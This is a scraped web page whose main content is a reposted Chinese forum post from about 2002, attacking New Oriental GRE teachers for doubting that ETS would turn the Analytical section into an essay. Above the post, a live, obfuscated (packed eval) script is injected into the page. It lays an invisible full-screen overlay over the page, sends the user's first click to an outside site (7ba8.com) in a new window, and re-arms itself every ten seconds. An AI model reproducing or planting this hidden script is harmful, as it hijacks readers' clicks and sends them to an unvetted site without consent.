<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>---有感于新东方的错误引导（转摘自寄托天下考试论坛）
今天读到一篇新闻稿，感觉很气愤，有些不得不说的话，一吐为快。
有关GRE改考试题型，改逻辑内容为作文一事，自去年暑假在网上消息开始散布，到台湾报纸率先证实消息以来，大家一直都是半信半疑的态度。而到了9月，新东方副校长钱永强被传媒问到有关消息时，仍然坚持一天ETS没有公布，他们不会相信任何有关消息。
去年年底，有网友收到PRINCETON REVIEW 的NEWSLETTER(http://www.review.com/integrated/templates/defaultrh/testprep.cfm?TPRPAGE=10&TYPE=GRE) ，文中清楚说了ETS会在02年10月1日将ANALYTICAL SECTION 转为作文题型；02年1月一位热心朋友重贴ETS官方网站的消息(http://www.gre.org/newgenltr.html) 。这一切，均证实了10月改作文已成定论之说。
而在上星期，中国青年报(http://211.99.212.14/bbs/detail.asp?board=hot&page=1&num=136651&thread=0) 也就有关改题型作了报导，直到今天的新闻晨报，记者就有关消息向「新东方GRE主讲老师俞仲秋」，在回应记者时仍愚昧的说：「这现在也只能说是一个内部消息，官方网站上暂时也还查不到有关的内容」。
我真的很想问，一个身为GRE的主讲老师，竟然对此重大的改变持有如此闭塞的认知？
就以在寄托天下[gter.net]这个人网站来说，已先后出现不同的消息证实有关改变，而且ETS官方站内的文章也张贴出来的时候，为何新东方的老师仍然是这样愚昧的坚持己见呢？要知道10月距离现在已是不多的时间了，他们开的班大概也去到年底了吧。可是，如果他们对改变题型也没有概念，完全不作出任何回应的话，那他们的教学是在指导学生？还是在误人子弟呢？
新东方是一所怎样的学校，大家应该清楚。这所他们自诩为「GRE权威」的教育机构，发展到今天，仍然不思进取，我从来没有想过公开指责新东方，因为我没有这样的资格。我没有上过他们的班，只是用了他们的复习材料(除了印刷特差之外，我觉得总的来说，对我来说还是有用、有价值的)。可是，这条新闻所述，也许我真要用另一双眼睛来看这一间全国有名的「GRE权威」「私立学校」是如此的愚昧和闭塞！ |
收藏